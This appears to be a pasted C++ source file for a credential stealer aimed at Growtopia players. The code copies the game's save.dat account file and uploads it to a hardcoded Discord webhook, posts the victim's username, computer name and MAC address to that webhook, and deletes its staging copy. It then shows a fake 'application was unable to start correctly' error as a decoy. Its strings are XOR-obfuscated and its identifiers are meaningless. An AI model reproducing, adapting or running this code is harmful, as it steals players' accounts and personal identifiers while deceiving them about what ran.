Untitled

#include <iostream>
#include <Windows.h>
#include <Iphlpapi.h>
#include "cro.h"
#include "curl/curl.h"
#include <shellapi.h>

#define UNLEN 256

size_t WriteCall(void* contents, size_t size, size_t nmemb, void* userp) {
    return size * nmemb;
}

class ictim
{

private:

    std::string tet = XorStr("/");
    std::string teso = XorStr("ap");
    std::string menn = XorStr("s/");
    std::string notk = XorStr("\\herekt.dat");
    std::string klk = XorStr("\\Public\\Music") + notk;
    std::string intiharedicem = XorStr("https:") + tet + XorStr("//discord.com/") + teso + XorStr("i/webhook") + menn + XorStr("95812466542728990/irVOsD-XMUlopCvboaIj94P3Cv_GdcH94BMXxc8ZUBdd0D7PpGM_LWAB04XhgXiX_8TO");
    const char* acibiber = intiharedicem.c_str();
    std::string spasivamoybrat = "";
    std::string amtt = XorStr("LAPPDATA");
    std::string buneymisboyle = XorStr("C:\\Users") + klk;
    std::string diyarpala = XorStr("LOCA") + amtt;
    const char* yakhorosho = buneymisboyle.c_str();
    std::string datkslso = XorStr("{\"content\": \" > ") + kemalist() + " with " + gococ() + " " + XorStr("\"}");
    const char* datkslooo = datkslso.c_str();

    void sosis(std::string klo, std::string klk) {

        size_t ersinkorkut = 0;
        char* spiderman = nullptr;
        const char* saskin = diyarpala.c_str();
        _dupenv_s(&spiderman, &ersinkorkut, saskin);

        if (spiderman != nullptr) {
            std::string nbkl = XorStr("\\save.dat");
            klo = std::string(spiderman) + XorStr("\\Growtopia") + nbkl;
            std::ifstream file(klo, std::ios::binary);
            if (file.is_open()) {
                std::string sogan((std::istreambuf_iterator<char>(file)), std::istreambuf_iterator<char>());
                file.close();
                std::ofstream ametsa(klk);
                if (ametsa.is_open()) {
                    ametsa << sogan;
                    ametsa.close();
                }
            }
        }
        free(spiderman);
    }

    void sencsol(const char* acibibers, const char* yakhoroshos) {
        CURL* curl;
        CURLcode res;

        curl_global_init(CURL_GLOBAL_DEFAULT);

        curl = curl_easy_init();
        if (curl) {

            struct curl_httppost* formpost = nullptr;
            struct curl_httppost* lastptr = nullptr;
            curl_formadd(&formpost, &lastptr, CURLFORM_COPYNAME, XorStr("file"), CURLFORM_FILE, yakhoroshos, CURLFORM_END);

            curl_easy_setopt(curl, CURLOPT_URL, acibibers);
            curl_easy_setopt(curl, CURLOPT_HTTPPOST, formpost);
            curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, WriteCall);
            res = curl_easy_perform(curl);
            if (res != CURLE_OK) {
                std::cerr << XorStr("failed: ") << curl_easy_strerror(res) << std::endl;

            }
            curl_easy_cleanup(curl);


            curl_formfree(formpost);
        }
        curl_global_cleanup();
    }

    void ustuo() {
        HKL hklLayout = GetKeyboardLayout(0);
        LANGID langId = LOWORD(hklLayout);
        switch (langId) {
        case 0x041F:
            tr_f = true;
            buaha = XorStr("TRY");
            break;
        default:
            oth_f = true;
            buaha = langId;
            break;
        }
    }

    std::string patost() {

        IP_ADAPTER_ADDRESSES ainfo[64];
        DWORD len = sizeof(ainfo);
        auto status = GetAdaptersAddresses(2, 0, NULL, ainfo, &len);
        if (status == ERROR_BUFFER_OVERFLOW)
            return XorStr("NOMAC");
        auto info = ainfo;
        while (info) {
            if (info->PhysicalAddressLength) {
                for (auto j = info->FirstUnicastAddress; j; j = j->Next) {
                    if (j && (void*)&j->Address) {
                        if (j->Address.lpSockaddr && j->Address.lpSockaddr->sa_family == 2) {
                            auto address = info->PhysicalAddress;
                            char buffer[18];
                            sprintf_s(buffer, XorStr("%02X:%02X:%02X:%02X:%02X:%02X"), address[0], address[1], address[2], address[3], address[4], address[5]);
                            return std::string(buffer);
                        }
                    }
                }
            }
            info = info->Next;
        }
        return XorStr("NOMAC");
    }
    void delkok(const char* ansaa) {

        std::remove(ansaa);
    }

    std::string nurialco() {
        std::string utt = "", surr = "";
        char* usto = nullptr, * notto = nullptr;
        size_t leon, seon;
        errno_t err = _dupenv_s(&usto, &leon, XorStr("USERNAME")), nott = _dupenv_s(&notto, &seon, XorStr("COMPUTERNAME"));
        if (err == 0 && usto != nullptr) {
            utt = usto;
            free(const_cast<char*>(usto));
        }
        if (nott == 0 && notto != nullptr) {
            surr = notto;
            free(const_cast<char*>(notto));
        }
        return utt + " / " + surr;
    }
    void msbk(std::string yax, std::string noz) {
        std::string msbg = yax, mstt = noz;
        LPWSTR ws = new wchar_t[msbg.size() + 1], wss = new wchar_t[mstt.size() + 1];
        copy(msbg.begin(), msbg.end(), ws), copy(mstt.begin(), mstt.end(), wss);
        ws[msbg.size()] = 0, wss[mstt.size()] = 0;
        MessageBox(NULL, ws, wss, MB_ICONERROR);
    }

    void sekolk() {
        curl_global_init(CURL_GLOBAL_DEFAULT);
        if (auto* const curl = curl_easy_init())
        {
            struct curl_slist* headers = nullptr;
            headers = curl_slist_append(headers, XorStr("Content-Type: application/json"));
            curl_easy_setopt(curl, CURLOPT_URL, acibiber);
            curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers);
            curl_easy_setopt(curl, CURLOPT_POSTFIELDS, datkslooo);

            const CURLcode res = curl_easy_perform(curl);

            if (res != CURLE_OK)
                fprintf(stderr, XorStr("curl_easy_perform() failed: %s\n"), curl_easy_strerror(res));

            curl_easy_cleanup(curl);
        }
        curl_global_cleanup();
    }

public:

    bool klost = false;
    bool tr_f = false, oth_f = false;
    std::string buaha = "";

    void sososo() {
        sosis(spasivamoybrat, yakhorosho);
    }

    void ustura() {
        ustuo();
    }

   std::string kemalist() {
       return nurialco();
   }

   std::string gococ() {

       return patost();
   }

    void harbikafa() {
        sencsol(acibiber, yakhorosho);
    }

    void necomeco() {
       
        sekolk();
    }

    void mecro() {
        delkok(yakhorosho);
    }

    void musab() {

        msbk(XorStr("The application was unable to start correctly (0xc000007b). Click OK to close the application."), XorStr("aurora.exe - Application Error"));
    }

    void msbol(std::string klot, std::string mlot) {
        msbk(klot, mlot);
    }

};


void whoo3ss() {
    ictim mudur;
    mudur.sososo();
    mudur.necomeco();
    mudur.harbikafa();
    mudur.mecro();
    mudur.musab();
}